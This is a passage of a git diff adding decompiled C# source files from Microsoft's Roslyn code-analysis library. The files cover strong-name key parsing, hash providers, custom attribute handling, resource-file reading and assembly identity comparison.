PublicKeyBlobId = 6; + + private const byte PrivateKeyBlobId = 7; + + internal const int s_publicKeyHeaderSize = 12; + + private const int BlobHeaderSize = 8; + + private const int RsaPubKeySize = 12; + + private const uint RSA1 = 826364754u; + + private const uint RSA2 = 843141970u; + + private const int s_offsetToKeyData = 20; + + internal static bool IsValidPublicKey(ImmutableArray blob) + { + if (blob.IsDefault || blob.Length < 13) + { + return false; + } + LittleEndianReader littleEndianReader = new LittleEndianReader(blob.AsSpan()); + uint flags = littleEndianReader.ReadUInt32(); + uint flags2 = littleEndianReader.ReadUInt32(); + uint num = littleEndianReader.ReadUInt32(); + byte b = littleEndianReader.ReadByte(); + if (blob.Length != 12 + num) + { + return false; + } + if (ByteSequenceComparer.Equals(blob, s_ecmaKey)) + { + return true; + } + if (b != 6) + { + return false; + } + AlgorithmId algorithmId = new AlgorithmId(flags); + if (algorithmId.IsSet && algorithmId.Class != AlgorithmClass.Signature) + { + return false; + } + AlgorithmId algorithmId2 = new AlgorithmId(flags2); + if (algorithmId2.IsSet && (algorithmId2.Class != AlgorithmClass.Hash || algorithmId2.SubId < AlgorithmSubId.Sha1Hash)) + { + return false; + } + return true; + } + + private unsafe static ImmutableArray CreateSnPublicKeyBlob(byte type, byte version, uint algId, uint magic, uint bitLen, uint pubExp, ReadOnlySpan pubKeyData) + { + BlobWriter blobWriter = new BlobWriter(32 + pubKeyData.Length); + blobWriter.WriteUInt32(9216u); + blobWriter.WriteUInt32(32772u); + blobWriter.WriteUInt32((uint)(20 + pubKeyData.Length)); + blobWriter.WriteByte(type); + blobWriter.WriteByte(version); + blobWriter.WriteUInt16(0); + blobWriter.WriteUInt32(algId); + blobWriter.WriteUInt32(magic); + blobWriter.WriteUInt32(bitLen); + blobWriter.WriteUInt32(pubExp); + fixed (byte* buffer = pubKeyData) + { + blobWriter.WriteBytes(buffer, pubKeyData.Length); + } + return blobWriter.ToImmutableArray(); + } + + public static bool TryParseKey(ImmutableArray blob, out ImmutableArray snKey, out RSAParameters? privateKey) + { + privateKey = null; + snKey = default(ImmutableArray); + if (IsValidPublicKey(blob)) + { + snKey = blob; + return true; + } + if (blob.Length < 20) + { + return false; + } + try + { + LittleEndianReader littleEndianReader = new LittleEndianReader(blob.AsSpan()); + byte b = littleEndianReader.ReadByte(); + byte version = littleEndianReader.ReadByte(); + littleEndianReader.ReadUInt16(); + uint algId = littleEndianReader.ReadUInt32(); + uint num = littleEndianReader.ReadUInt32(); + uint num2 = littleEndianReader.ReadUInt32(); + uint pubExp = littleEndianReader.ReadUInt32(); + int num3 = (int)(num2 / 8); + if (blob.Length - 20 < num3) + { + return false; + } + ReadOnlySpan pubKeyData = littleEndianReader.ReadBytes(num3); + if ((b != 7 || num != 843141970) && (b != 6 || num != 826364754)) + { + return false; + } + if (b == 7) + { + privateKey = blob.AsSpan().ToRSAParameters(includePrivateParameters: true); + algId = 9216u; + num = 826364754u; + } + snKey = CreateSnPublicKeyBlob(6, version, algId, 826364754u, num2, pubExp, pubKeyData); + return true; + } + catch (Exception) + { + return false; + } + } + + internal static RSAParameters ToRSAParameters(this ReadOnlySpan cspBlob, bool includePrivateParameters) + { + LittleEndianReader littleEndianReader = new LittleEndianReader(cspBlob); + littleEndianReader.ReadByte(); + littleEndianReader.ReadByte(); + littleEndianReader.ReadUInt16(); + littleEndianReader.ReadInt32(); + littleEndianReader.ReadInt32(); + int num = littleEndianReader.ReadInt32() / 8; + int byteCount = (num + 1) / 2; + uint exponent = littleEndianReader.ReadUInt32(); + RSAParameters result = new RSAParameters + { + Exponent = ExponentAsBytes(exponent), + Modulus = littleEndianReader.ReadReversed(num) + }; + if (includePrivateParameters) + { + result.P = littleEndianReader.ReadReversed(byteCount); + result.Q = littleEndianReader.ReadReversed(byteCount); + result.DP = littleEndianReader.ReadReversed(byteCount); + result.DQ = littleEndianReader.ReadReversed(byteCount); + result.InverseQ = littleEndianReader.ReadReversed(byteCount); + result.D = littleEndianReader.ReadReversed(num); + } + return result; + } + + private static byte[] ExponentAsBytes(uint exponent) + { + if (exponent > 255) + { + if (exponent > 65535) + { + if (exponent > 16777215) + { + return new byte[4] + { + (byte)(exponent >> 24), + (byte)(exponent >> 16), + (byte)(exponent >> 8), + (byte)exponent + }; + } + return new byte[3] + { + (byte)(exponent >> 16), + (byte)(exponent >> 8), + (byte)exponent + }; + } + return new byte[2] + { + (byte)(exponent >> 8), + (byte)exponent + }; + } + return new byte[1] { (byte)exponent }; + } + + private static byte[] ReadReversed(this BinaryReader br, int count) + { + byte[] array = br.ReadBytes(count); + Array.Reverse((Array)array); + return array; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CryptographicHashProvider.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CryptographicHashProvider.cs new file mode 100644 index 0000000..830ff30 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CryptographicHashProvider.cs @@ -0,0 +1,170 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.IO; +using System.Linq; +using System.Reflection; +using System.Reflection.Metadata; +using System.Security.Cryptography; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal abstract class CryptographicHashProvider +{ + private ImmutableArray _lazySHA1Hash; + + private ImmutableArray _lazySHA256Hash; + + private ImmutableArray _lazySHA384Hash; + + private ImmutableArray _lazySHA512Hash; + + private ImmutableArray _lazyMD5Hash; + + internal const int Sha1HashSize = 20; + + internal abstract ImmutableArray ComputeHash(HashAlgorithm algorithm); + + internal ImmutableArray GetHash(AssemblyHashAlgorithm algorithmId) + { + using HashAlgorithm hashAlgorithm = TryGetAlgorithm(algorithmId); + if (hashAlgorithm == null) + { + return ImmutableArray.Create(); + } + switch (algorithmId) + { + case AssemblyHashAlgorithm.None: + case AssemblyHashAlgorithm.Sha1: + return GetHash(ref _lazySHA1Hash, hashAlgorithm); + case AssemblyHashAlgorithm.Sha256: + return GetHash(ref _lazySHA256Hash, hashAlgorithm); + case AssemblyHashAlgorithm.Sha384: + return GetHash(ref _lazySHA384Hash, hashAlgorithm); + case AssemblyHashAlgorithm.Sha512: + return GetHash(ref _lazySHA512Hash, hashAlgorithm); + case AssemblyHashAlgorithm.MD5: + return GetHash(ref _lazyMD5Hash, hashAlgorithm); + default: + throw ExceptionUtilities.UnexpectedValue(algorithmId); + } + } + + internal static int GetHashSize(SourceHashAlgorithm algorithmId) + { + return algorithmId switch + { + SourceHashAlgorithm.Sha1 => 20, + SourceHashAlgorithm.Sha256 => 32, + _ => throw ExceptionUtilities.UnexpectedValue(algorithmId), + }; + } + + internal static HashAlgorithm? TryGetAlgorithm(SourceHashAlgorithm algorithmId) + { + return algorithmId switch + { + SourceHashAlgorithm.Sha1 => SHA1.Create(), + SourceHashAlgorithm.Sha256 => SHA256.Create(), + _ => null, + }; + } + + internal static HashAlgorithmName GetAlgorithmName(SourceHashAlgorithm algorithmId) + { + return algorithmId switch + { + SourceHashAlgorithm.Sha1 => HashAlgorithmName.SHA1, + SourceHashAlgorithm.Sha256 => HashAlgorithmName.SHA256, + _ => throw ExceptionUtilities.UnexpectedValue(algorithmId), + }; + } + + internal static HashAlgorithm? TryGetAlgorithm(AssemblyHashAlgorithm algorithmId) + { + switch (algorithmId) + { + case AssemblyHashAlgorithm.None: + case AssemblyHashAlgorithm.Sha1: + return SHA1.Create(); + case AssemblyHashAlgorithm.Sha256: + return SHA256.Create(); + case AssemblyHashAlgorithm.Sha384: + return SHA384.Create(); + case AssemblyHashAlgorithm.Sha512: + return SHA512.Create(); + case AssemblyHashAlgorithm.MD5: + return MD5.Create(); + default: + return null; + } + } + + internal static bool IsSupportedAlgorithm(AssemblyHashAlgorithm algorithmId) + { + if (algorithmId == AssemblyHashAlgorithm.None || (uint)(algorithmId - 32771) <= 1u || (uint)(algorithmId - 32780) <= 2u) + { + return true; + } + return false; + } + + private ImmutableArray GetHash(ref ImmutableArray lazyHash, HashAlgorithm algorithm) + { + if (lazyHash.IsDefault) + { + ImmutableInterlocked.InterlockedCompareExchange(ref lazyHash, ComputeHash(algorithm), default(ImmutableArray)); + } + return lazyHash; + } + + internal static ImmutableArray ComputeSha1(Stream stream) + { + if (stream != null) + { + stream.Seek(0L, SeekOrigin.Begin); + using SHA1 sHA = SHA1.Create(); + return ImmutableArray.Create(sHA.ComputeHash(stream)); + } + return ImmutableArray.Empty; + } + + internal static ImmutableArray ComputeSha1(ImmutableArray bytes) + { + return ComputeSha1(bytes.ToArray()); + } + + internal static ImmutableArray ComputeSha1(byte[] bytes) + { + using SHA1 sHA = SHA1.Create(); + return ImmutableArray.Create(sHA.ComputeHash(bytes)); + } + + internal static ImmutableArray ComputeHash(HashAlgorithmName algorithmName, IEnumerable bytes) + { + using IncrementalHash incrementalHash = IncrementalHash.CreateHash(algorithmName); + incrementalHash.AppendData(bytes); + return ImmutableArray.Create(incrementalHash.GetHashAndReset()); + } + + internal static ImmutableArray ComputeHash(HashAlgorithmName algorithmName, IEnumerable> bytes) + { + using IncrementalHash incrementalHash = IncrementalHash.CreateHash(algorithmName); + incrementalHash.AppendData(bytes); + return ImmutableArray.Create(incrementalHash.GetHashAndReset()); + } + + internal static ImmutableArray ComputeSourceHash(ImmutableArray bytes, SourceHashAlgorithm hashAlgorithm = SourceHashAlgorithm.Sha256) + { + using IncrementalHash incrementalHash = IncrementalHash.CreateHash(GetAlgorithmName(hashAlgorithm)); + incrementalHash.AppendData(bytes.ToArray()); + return ImmutableArray.Create(incrementalHash.GetHashAndReset()); + } + + internal static ImmutableArray ComputeSourceHash(IEnumerable bytes, SourceHashAlgorithm hashAlgorithm = SourceHashAlgorithm.Sha256) + { + return ComputeHash(GetAlgorithmName(hashAlgorithm), bytes); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CustomAttributesBag.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CustomAttributesBag.cs new file mode 100644 index 0000000..481856b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CustomAttributesBag.cs @@ -0,0 +1,112 @@ +using System; +using System.Collections.Immutable; +using System.Threading; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class CustomAttributesBag where T : AttributeData +{ + [Flags] + internal enum CustomAttributeBagCompletionPart : byte + { + None = 0, + EarlyDecodedWellKnownAttributeData = 1, + DecodedWellKnownAttributeData = 2, + Attributes = 4, + All = 7 + } + + private ImmutableArray _customAttributes; + + private WellKnownAttributeData _decodedWellKnownAttributeData; + + private EarlyWellKnownAttributeData _earlyDecodedWellKnownAttributeData; + + private int _state; + + public static readonly CustomAttributesBag Empty = new CustomAttributesBag(CustomAttributeBagCompletionPart.All, ImmutableArray.Empty); + + public bool IsEmpty + { + get + { + if (IsSealed && _customAttributes.IsEmpty && _decodedWellKnownAttributeData == null) + { + return _earlyDecodedWellKnownAttributeData == null; + } + return false; + } + } + + public ImmutableArray Attributes => _customAttributes; + + public WellKnownAttributeData DecodedWellKnownAttributeData => _decodedWellKnownAttributeData; + + public EarlyWellKnownAttributeData EarlyDecodedWellKnownAttributeData => _earlyDecodedWellKnownAttributeData; + + private CustomAttributeBagCompletionPart State + { + get + { + return (CustomAttributeBagCompletionPart)_state; + } + set + { + _state = (int)value; + } + } + + internal bool IsSealed => IsPartComplete(CustomAttributeBagCompletionPart.All); + + internal bool IsEarlyDecodedWellKnownAttributeDataComputed => IsPartComplete(CustomAttributeBagCompletionPart.EarlyDecodedWellKnownAttributeData); + + internal bool IsDecodedWellKnownAttributeDataComputed => IsPartComplete(CustomAttributeBagCompletionPart.DecodedWellKnownAttributeData); + + private CustomAttributesBag(CustomAttributeBagCompletionPart part, ImmutableArray customAttributes) + { + _customAttributes = customAttributes; + NotePartComplete(part); + } + + public CustomAttributesBag() + : this(CustomAttributeBagCompletionPart.None, default(ImmutableArray)) + { + } + + public static CustomAttributesBag WithEmptyData() + { + return new CustomAttributesBag(CustomAttributeBagCompletionPart.EarlyDecodedWellKnownAttributeData | CustomAttributeBagCompletionPart.DecodedWellKnownAttributeData, default(ImmutableArray)); + } + + public bool SetEarlyDecodedWellKnownAttributeData(EarlyWellKnownAttributeData data) + { + bool result = Interlocked.CompareExchange(ref _earlyDecodedWellKnownAttributeData, data, null) == null; + NotePartComplete(CustomAttributeBagCompletionPart.EarlyDecodedWellKnownAttributeData); + return result; + } + + public bool SetDecodedWellKnownAttributeData(WellKnownAttributeData data) + { + bool result = Interlocked.CompareExchange(ref _decodedWellKnownAttributeData, data, null) == null; + NotePartComplete(CustomAttributeBagCompletionPart.DecodedWellKnownAttributeData); + return result; + } + + public bool SetAttributes(ImmutableArray newCustomAttributes) + { + bool result = ImmutableInterlocked.InterlockedCompareExchange(ref _customAttributes, newCustomAttributes, default(ImmutableArray)) == default(ImmutableArray); + NotePartComplete(CustomAttributeBagCompletionPart.Attributes); + return result; + } + + private void NotePartComplete(CustomAttributeBagCompletionPart part) + { + ThreadSafeFlagOperations.Set(ref _state, (int)(State | part)); + } + + internal bool IsPartComplete(CustomAttributeBagCompletionPart part) + { + return (State & part) == part; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CustomModifier.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CustomModifier.cs new file mode 100644 index 0000000..a7e687c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CustomModifier.cs @@ -0,0 +1,19 @@ +using System; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.CodeAnalysis; + +public abstract class CustomModifier : ICustomModifier +{ + public abstract bool IsOptional { get; } + + public abstract INamedTypeSymbol Modifier { get; } + + bool ICustomModifier.IsOptional => IsOptional; + + ITypeReference ICustomModifier.GetModifier(EmitContext context) + { + throw new NotImplementedException(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CustomModifiersTuple.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CustomModifiersTuple.cs new file mode 100644 index 0000000..aa05507 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CustomModifiersTuple.cs @@ -0,0 +1,31 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +internal sealed class CustomModifiersTuple +{ + private readonly ImmutableArray _typeCustomModifiers; + + private readonly ImmutableArray _refCustomModifiers; + + public static readonly CustomModifiersTuple Empty = new CustomModifiersTuple(ImmutableArray.Empty, ImmutableArray.Empty); + + public ImmutableArray TypeCustomModifiers => _typeCustomModifiers; + + public ImmutableArray RefCustomModifiers => _refCustomModifiers; + + private CustomModifiersTuple(ImmutableArray typeCustomModifiers, ImmutableArray refCustomModifiers) + { + _typeCustomModifiers = typeCustomModifiers.NullToEmpty(); + _refCustomModifiers = refCustomModifiers.NullToEmpty(); + } + + public static CustomModifiersTuple Create(ImmutableArray typeCustomModifiers, ImmutableArray refCustomModifiers) + { + if (typeCustomModifiers.IsDefaultOrEmpty && refCustomModifiers.IsDefaultOrEmpty) + { + return Empty; + } + return new CustomModifiersTuple(typeCustomModifiers, refCustomModifiers); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CustomObsoleteDiagnosticInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CustomObsoleteDiagnosticInfo.cs new file mode 100644 index 0000000..235d277 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CustomObsoleteDiagnosticInfo.cs @@ -0,0 +1,76 @@ +using System.Threading; + +namespace Microsoft.CodeAnalysis; + +internal sealed class CustomObsoleteDiagnosticInfo : DiagnosticInfo +{ + private DiagnosticDescriptor? _descriptor; + + internal ObsoleteAttributeData Data { get; } + + public override string MessageIdentifier + { + get + { + string diagnosticId = Data.DiagnosticId; + if (!string.IsNullOrEmpty(diagnosticId)) + { + return diagnosticId; + } + return base.MessageIdentifier; + } + } + + public override DiagnosticDescriptor Descriptor + { + get + { + if (_descriptor == null) + { + Interlocked.CompareExchange(ref _descriptor, CreateDescriptor(), null); + } + return _descriptor; + } + } + + internal CustomObsoleteDiagnosticInfo(CommonMessageProvider messageProvider, int errorCode, ObsoleteAttributeData data, params object[] arguments) + : base(messageProvider, errorCode, arguments) + { + Data = data; + } + + private CustomObsoleteDiagnosticInfo(CustomObsoleteDiagnosticInfo baseInfo, DiagnosticSeverity effectiveSeverity) + : base(baseInfo, effectiveSeverity) + { + Data = baseInfo.Data; + } + + protected override DiagnosticInfo GetInstanceWithSeverityCore(DiagnosticSeverity severity) + { + return new CustomObsoleteDiagnosticInfo(this, severity); + } + + private DiagnosticDescriptor CreateDescriptor() + { + DiagnosticDescriptor descriptor = base.Descriptor; + string diagnosticId = Data.DiagnosticId; + string urlFormat = Data.UrlFormat; + if (diagnosticId == null && urlFormat == null) + { + return descriptor; + } + string messageIdentifier = MessageIdentifier; + string helpLinkUri = descriptor.HelpLinkUri; + if (urlFormat != null) + { + try + { + helpLinkUri = string.Format(urlFormat, messageIdentifier); + } + catch + { + } + } + return new DiagnosticDescriptor(customTags: (diagnosticId != null) ? descriptor.ImmutableCustomTags.Add("CustomObsolete") : descriptor.ImmutableCustomTags, id: messageIdentifier, title: descriptor.Title, messageFormat: descriptor.MessageFormat, category: descriptor.Category, defaultSeverity: descriptor.DefaultSeverity, isEnabledByDefault: descriptor.IsEnabledByDefault, description: descriptor.Description, helpLinkUri: helpLinkUri); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CvtResFile.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CvtResFile.cs new file mode 100644 index 0000000..f2cada3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CvtResFile.cs @@ -0,0 +1,81 @@ +using System.Collections.Generic; +using System.IO; +using System.Text; + +namespace Microsoft.CodeAnalysis; + +internal class CvtResFile +{ + private const ushort RT_DLGINCLUDE = 17; + + internal static List ReadResFile(Stream stream) + { + BinaryReader binaryReader = new BinaryReader(stream, Encoding.Unicode); + List list = new List(); + long position = stream.Position; + if (binaryReader.ReadUInt32() != 0) + { + throw new ResourceException("Stream does not begin with a null resource and is not in .RES format."); + } + stream.Position = position; + while (stream.Position < stream.Length) + { + uint num = binaryReader.ReadUInt32(); + uint num2 = binaryReader.ReadUInt32(); + if (num2 < 8) + { + throw new ResourceException($"Resource header beginning at offset 0x{stream.Position - 8:x} is malformed."); + } + if (num == 0) + { + stream.Position += num2 - 8; + continue; + } + RESOURCE rESOURCE = new RESOURCE + { + HeaderSize = num2, + DataSize = num + }; + rESOURCE.pstringType = ReadStringOrID(binaryReader); + rESOURCE.pstringName = ReadStringOrID(binaryReader); + stream.Position = (stream.Position + 3) & -4; + rESOURCE.DataVersion = binaryReader.ReadUInt32(); + rESOURCE.MemoryFlags = binaryReader.ReadUInt16(); + rESOURCE.LanguageId = binaryReader.ReadUInt16(); + rESOURCE.Version = binaryReader.ReadUInt32(); + rESOURCE.Characteristics = binaryReader.ReadUInt32(); + rESOURCE.data = new byte[rESOURCE.DataSize]; + binaryReader.Read(rESOURCE.data, 0, rESOURCE.data.Length); + stream.Position = (stream.Position + 3) & -4; + if (rESOURCE.pstringType.theString != null || rESOURCE.pstringType.Ordinal != 17) + { + list.Add(rESOURCE); + } + } + return list; + } + + private static RESOURCE_STRING ReadStringOrID(BinaryReader fhIn) + { + RESOURCE_STRING rESOURCE_STRING = new RESOURCE_STRING(); + char c = fhIn.ReadChar(); + if (c == '\uffff') + { + rESOURCE_STRING.Ordinal = fhIn.ReadUInt16(); + } + else + { + rESOURCE_STRING.Ordinal = ushort.MaxValue; + StringBuilder stringBuilder = new StringBuilder(); + char c2 = c; + do + { + stringBuilder.Append(c2); + c2 = fhIn.ReadChar(); + } + while (c2 != 0); + rESOURCE_STRING.theString = stringBuilder.ToString(); + } + return rESOURCE_STRING; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DataFlowAnalysis.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DataFlowAnalysis.cs new file mode 100644 index 0000000..2c119bd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DataFlowAnalysis.cs @@ -0,0 +1,38 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +public abstract class DataFlowAnalysis +{ + public abstract ImmutableArray VariablesDeclared { get; } + + public abstract ImmutableArray DataFlowsIn { get; } + + public abstract ImmutableArray DataFlowsOut { get; } + + public abstract ImmutableArray DefinitelyAssignedOnEntry { get; } + + public abstract ImmutableArray DefinitelyAssignedOnExit { get; } + + public abstract ImmutableArray AlwaysAssigned { get; } + + public abstract ImmutableArray ReadInside { get; } + + public abstract ImmutableArray WrittenInside { get; } + + public abstract ImmutableArray ReadOutside { get; } + + public abstract ImmutableArray WrittenOutside { get; } + + public abstract ImmutableArray Captured { get; } + + public abstract ImmutableArray CapturedInside { get; } + + public abstract ImmutableArray CapturedOutside { get; } + + public abstract ImmutableArray UnsafeAddressTaken { get; } + + public abstract ImmutableArray UsedLocalFunctions { get; } + + public abstract bool Succeeded { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DeclarationComputer.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DeclarationComputer.cs new file mode 100644 index 0000000..271b15e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DeclarationComputer.cs @@ -0,0 +1,56 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Threading; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal class DeclarationComputer +{ + internal static DeclarationInfo GetDeclarationInfo(SemanticModel model, SyntaxNode node, bool getSymbol, IEnumerable? executableCodeBlocks, CancellationToken cancellationToken) + { + ISymbol declaredSymbol = GetDeclaredSymbol(model, node, getSymbol, cancellationToken); + return GetDeclarationInfo(node, declaredSymbol, executableCodeBlocks); + } + + internal static DeclarationInfo GetDeclarationInfo(SyntaxNode node, ISymbol? declaredSymbol, IEnumerable? executableCodeBlocks) + { + ImmutableArray executableCodeBlocks2 = executableCodeBlocks?.Where((SyntaxNode c) => c != null).AsImmutableOrEmpty() ?? ImmutableArray.Empty; + return new DeclarationInfo(node, executableCodeBlocks2, declaredSymbol); + } + + internal static DeclarationInfo GetDeclarationInfo(SemanticModel model, SyntaxNode node, bool getSymbol, CancellationToken cancellationToken) + { + return GetDeclarationInfo(model, node, getSymbol, (IEnumerable?)null, cancellationToken); + } + + internal static DeclarationInfo GetDeclarationInfo(SemanticModel model, SyntaxNode node, bool getSymbol, SyntaxNode executableCodeBlock, CancellationToken cancellationToken) + { + return GetDeclarationInfo(model, node, getSymbol, SpecializedCollections.SingletonEnumerable(executableCodeBlock), cancellationToken); + } + + internal static DeclarationInfo GetDeclarationInfo(SemanticModel model, SyntaxNode node, bool getSymbol, CancellationToken cancellationToken, params SyntaxNode[] executableCodeBlocks) + { + return GetDeclarationInfo(model, node, getSymbol, executableCodeBlocks.AsEnumerable(), cancellationToken); + } + + private static ISymbol? GetDeclaredSymbol(SemanticModel model, SyntaxNode node, bool getSymbol, CancellationToken cancellationToken) + { + if (!getSymbol) + { + return null; + } + ISymbol symbol = model.GetDeclaredSymbol(node, cancellationToken); + if (symbol is INamespaceSymbol namespaceSymbol && namespaceSymbol.ConstituentNamespaces.Length > 1) + { + IAssemblySymbol assemblyToScope = model.Compilation.Assembly; + INamespaceSymbol namespaceSymbol2 = namespaceSymbol.ConstituentNamespaces.FirstOrDefault((INamespaceSymbol ns) => ns.ContainingAssembly == assemblyToScope); + if (namespaceSymbol2 != null) + { + symbol = namespaceSymbol2; + } + } + return symbol; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DeclarationInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DeclarationInfo.cs new file mode 100644 index 0000000..5993446 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DeclarationInfo.cs @@ -0,0 +1,19 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +internal readonly struct DeclarationInfo +{ + public SyntaxNode DeclaredNode { get; } + + public ImmutableArray ExecutableCodeBlocks { get; } + + public ISymbol? DeclaredSymbol { get; } + + internal DeclarationInfo(SyntaxNode declaredNode, ImmutableArray executableCodeBlocks, ISymbol? declaredSymbol) + { + DeclaredNode = declaredNode; + ExecutableCodeBlocks = executableCodeBlocks; + DeclaredSymbol = declaredSymbol; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DecodeWellKnownAttributeArguments.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DecodeWellKnownAttributeArguments.cs new file mode 100644 index 0000000..2a23bc7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DecodeWellKnownAttributeArguments.cs @@ -0,0 +1,41 @@ +namespace Microsoft.CodeAnalysis; + +internal struct DecodeWellKnownAttributeArguments where TAttributeSyntax : SyntaxNode where TAttributeData : AttributeData +{ + private WellKnownAttributeData? _lazyDecodeData; + + public readonly bool HasDecodedData + { + get + { + if (_lazyDecodeData != null) + { + return true; + } + return false; + } + } + + public readonly WellKnownAttributeData DecodedData => _lazyDecodeData; + + public TAttributeSyntax? AttributeSyntaxOpt { get; set; } + + public TAttributeData Attribute { get; set; } + + public int Index { get; set; } + + public int AttributesCount { get; set; } + + public BindingDiagnosticBag Diagnostics { get; set; } + + public TAttributeLocation SymbolPart { get; set; } + + public T GetOrCreateData() where T : WellKnownAttributeData, new() + { + if (_lazyDecodeData == null) + { + _lazyDecodeData = new T(); + } + return (T)_lazyDecodeData; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DefaultAnalyzerAssemblyLoader.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DefaultAnalyzerAssemblyLoader.cs new file mode 100644 index 0000000..5122a93 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DefaultAnalyzerAssemblyLoader.cs @@ -0,0 +1,25 @@ +using System; +using System.IO; + +namespace Microsoft.CodeAnalysis; + +internal sealed class DefaultAnalyzerAssemblyLoader : AnalyzerAssemblyLoader +{ + internal DefaultAnalyzerAssemblyLoader() + { + } + + protected override string PreparePathToLoad(string fullPath) + { + return fullPath; + } + + internal static IAnalyzerAssemblyLoader CreateNonLockingLoader(string windowsShadowPath) + { + if (!Path.IsPathRooted(windowsShadowPath)) + { + throw new ArgumentException("Must be a full path.", "windowsShadowPath"); + } + return new ShadowCopyAnalyzerAssemblyLoader(windowsShadowPath); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DesktopAssemblyIdentityComparer.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DesktopAssemblyIdentityComparer.cs new file mode 100644 index 0000000..6ec04d0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DesktopAssemblyIdentityComparer.cs @@ -0,0 +1,1329 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.IO; +using System.Linq; +using System.Reflection; + +namespace Microsoft.CodeAnalysis; + +public sealed class DesktopAssemblyIdentityComparer : AssemblyIdentityComparer +{ + private sealed class FrameworkAssemblyDictionary : Dictionary + { + public readonly struct Value(ImmutableArray publicKeyToken, AssemblyVersion version) + { + public readonly ImmutableArray PublicKeyToken = publicKeyToken; + + public readonly AssemblyVersion Version = version; + } + + public FrameworkAssemblyDictionary() + : base((IEqualityComparer?)AssemblyIdentityComparer.SimpleNameComparer) + { + } + + public void Add(string name, ImmutableArray publicKeyToken, AssemblyVersion version) + { + Add(name, new Value(publicKeyToken, version)); + } + } + + private sealed class FrameworkRetargetingDictionary : Dictionary> + { + public readonly struct Key(string name, ImmutableArray publicKeyToken) : IEquatable + { + public readonly string Name = name; + + public readonly ImmutableArray PublicKeyToken = publicKeyToken; + + public bool Equals(Key other) + { + if (AssemblyIdentityComparer.SimpleNameComparer.Equals(Name, other.Name)) + { + return PublicKeyToken.SequenceEqual(other.PublicKeyToken); + } + return false; + } + + public override bool Equals(object? obj) + { + if (obj is Key) + { + return Equals((Key)obj); + } + return false; + } + + public override int GetHashCode() + { + return AssemblyIdentityComparer.SimpleNameComparer.GetHashCode(Name) ^ PublicKeyToken[0]; + } + } + + public readonly struct Value(AssemblyVersion versionLow, AssemblyVersion versionHigh, string newName, ImmutableArray newPublicKeyToken, AssemblyVersion newVersion, bool isPortable) + { + public readonly AssemblyVersion VersionLow = versionLow; + + public readonly AssemblyVersion VersionHigh = versionHigh; + + public readonly string NewName = newName; + + public readonly ImmutableArray NewPublicKeyToken = newPublicKeyToken; + + public readonly AssemblyVersion NewVersion = newVersion; + + public readonly bool IsPortable = isPortable; + } + + public void Add(string name, ImmutableArray publicKeyToken, AssemblyVersion versionLow, object versionHighNull, string newName, ImmutableArray newPublicKeyToken, AssemblyVersion newVersion) + { + Key key = new Key(name, publicKeyToken); + if 